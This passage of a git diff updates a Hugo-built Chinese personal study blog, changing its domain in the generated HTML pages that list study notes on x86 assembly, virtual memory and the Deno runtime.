Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://xiaochenabc123.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/ES6%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/django%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>« Prev</span><br><span></span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content><meta name=description content=" - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://chenjunlinabc.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/ES6%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/django%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>« Prev</span><br><span></span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/index.html b/posts/index.html
index b7639623..8cc022a4 100644
--- a/posts/index.html
+++ b/posts/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>汇编基础学习笔记</h2></header><div class=entry-content><p>x86架构通用寄存器（32位的x86架构和64位的x86_64架构）
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>汇编基础学习笔记</h2></header><div class=entry-content><p>x86架构通用寄存器（32位的x86架构和64位的x86_64架构）
 x86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的
 32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI
 EAX的低16位可以被单独使用，引用名称叫AX（高位是左边位，低位是右边位），AX又可以被分为高8位的AH和低8位的AL
@@ -50,7 +50,7 @@
 x64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大小是4096字节，高9位是页目录指针表，后9位是页目录指针，再后9位是页目录，然后9位是页表。最后12位是页内偏移量
 虚拟内存
 进程是以内存页面为单位向操作系统申请内存的，现代操作系统中会对申请的内存空间进行记录，并不会马上分配，而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射，然后恢复中断程序，如果进程访问了没有映射的内存空间，会被操作系统进行page fault处理，操作系统通过page failt handle进行检查内存空间分配记录
-物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中...</p></div><footer class=entry-footer><span title='2022-11-20 11:49:00 +0000 UTC'>2022-11-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 汇编基础学习笔记" href=https://xiaochenabc123.github.io/posts/162/></a></article><article class=post-entry><header class=entry-header><h2>Deno js运行时环境学习笔记</h2></header><div class=entry-content><p>Deno是基于V8引擎，使用Rust构建的JavaScript & TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
+物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中...</p></div><footer class=entry-footer><span title='2022-11-20 11:49:00 +0000 UTC'>2022-11-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 汇编基础学习笔记" href=https://chenjunlinabc.github.io/posts/162/></a></article><article class=post-entry><header class=entry-header><h2>Deno js运行时环境学习笔记</h2></header><div class=entry-content><p>Deno是基于V8引擎，使用Rust构建的JavaScript & TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await
 Deno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成
 Deno有个特殊的功能，就是可以从网络上导入模块
 安装
@@ -68,11 +68,7 @@
 检查是否安装完成
 deno –version
 第一个例子
-import DFetch from "https://deno.land/x/dfetch/mod.ts"
-DFetch.get("https://xiaochenabc123.test.com").then((response) => {
-console.log(response)
-})
-运行
+import DFetch from "https://deno.land/x/dfetch/mod.ts" DFetch.get("https://xiaochenabc123.test.com").then((response) => { console.log(response) }) 运行
 deno run .\index.ts
 它会向你询问进行网络请求，是否允许，可通过–allow-net默认运行，例如：deno run –allow-net .\index.ts
 第三方库通过https://deno.land/x查找
@@ -87,7 +83,7 @@
 -A 或者 –allow-all 允许全部权限
 VsCode插件deno
 deno内置工具
-安装模块...</p></div><footer class=entry-footer><span title='2022-11-11 07:00:00 +0000 UTC'>2022-11-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Deno js运行时环境学习笔记" href=https://xiaochenabc123.github.io/posts/161/></a></article><article class=post-entry><header class=entry-header><h2>计算机图形学学习笔记</h2></header><div class=entry-content><p>计算机图形学(Computer Graphics，CG)是研究图形表达，生成，处理与显示的学科
